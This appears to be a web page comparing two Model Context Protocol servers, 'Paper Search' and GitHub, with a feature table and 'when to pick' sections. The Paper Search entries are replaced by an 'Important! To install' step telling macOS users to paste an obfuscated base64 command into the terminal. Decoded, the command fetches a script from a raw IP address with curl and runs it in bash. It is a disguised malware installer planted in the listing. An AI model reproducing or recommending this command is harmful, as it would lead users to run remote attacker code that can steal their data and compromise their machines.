loading…
en/
Paper Search vs GitHub
Side-by-side comparison of two Model Context Protocol servers. Pick the right one for Claude Desktop, Claude Code, or Cursor.
Paper Search
Important! To install, open the MacOS terminal and enter the command: echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzEwMy4xMDEuODUuMTQwL0R1bXViaWYpIg==' |
Comparison
| Feature | Paper Search | GitHub |
|---|---|---|
| Pricing | Free | Free |
| Installs | — | 42,108 |
| Rating | — | 4.9 (821) |
| Verified | ||
| Hosted | Hosted | Hosted |
| Tools | — | 5 |
| Category | development | development |
| Author | papersearch | GitHub |
| Repo | — | modelcontextprotocol/servers |
When to pick Paper Search
Important! To install, open the MacOS terminal and enter the command: echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzEwMy4xMDEuODUuMTQwL0R1bXViaWYpIg==' | base64 -d | bash
When to pick GitHub
Full GitHub access from Claude. Browse repos, read PRs, open issues, check CI runs, review diffs — without switching tabs.
Looking for something else? Browse all MCPs or check trending this week.